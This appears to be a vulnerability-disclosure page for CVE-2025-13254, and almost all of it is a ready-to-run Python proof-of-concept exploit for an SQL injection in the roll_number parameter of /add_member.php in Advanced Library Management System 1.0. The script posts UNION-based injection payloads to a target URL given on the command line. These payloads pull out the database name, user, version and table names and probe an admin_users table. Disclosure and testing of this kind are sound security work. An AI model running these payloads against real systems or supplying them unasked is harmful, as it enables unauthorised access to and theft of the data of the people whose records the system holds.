CVE-2025-13254: Advanced Library Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-13254 SQL Injection PoC # Target: Advanced Library Management System 1.0 # File: /add_member.php # Parameter: roll_number def exploit_sqli(target_url): """ SQL Injection Exploitation This PoC demonstrates the vulnerability in roll_number parameter """ endpoint = f"{target_url}/add_member.php" # Normal request (should work) normal_data = { 'roll_number': 'STU001', 'name': 'Test User', 'email': '[email protected]', 'phone': '1234567890' } # Malicious payload - SQL Injection # Using UNION-based injection to extract database information malicious_payloads = [ "STU001' UNION SELECT NULL-- ", "STU001' UNION SELECT database(),user(),version()-- ", "STU001' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()-- ", "STU001' AND (SELECT COUNT(*) FROM admin_users)>0-- " ] print("[*] CVE-2025-13254 SQL Injection PoC") print(f"[*] Target: {target_url}") print("[*] Exploiting roll_number parameter...") for i, payload in enumerate(malicious_payloads, 1): print(f"\n[*] Test payload {i}: {payload}") try: data = normal_data.copy() data['roll_number'] = payload response = requests.post(endpoint, data=data, timeout=10) print(f"[*] Status Code: {response.status_code}") if 'error' not in response.text.lower() and response.status_code == 200: print("[+] Potential vulnerability confirmed!") print(f"[+] Response length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] PoC execution completed") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13254.py <target_url>") print("Example: python cve-2025-13254.py http://localhost:8080") sys.exit(1) exploit_sqli(sys.argv[1])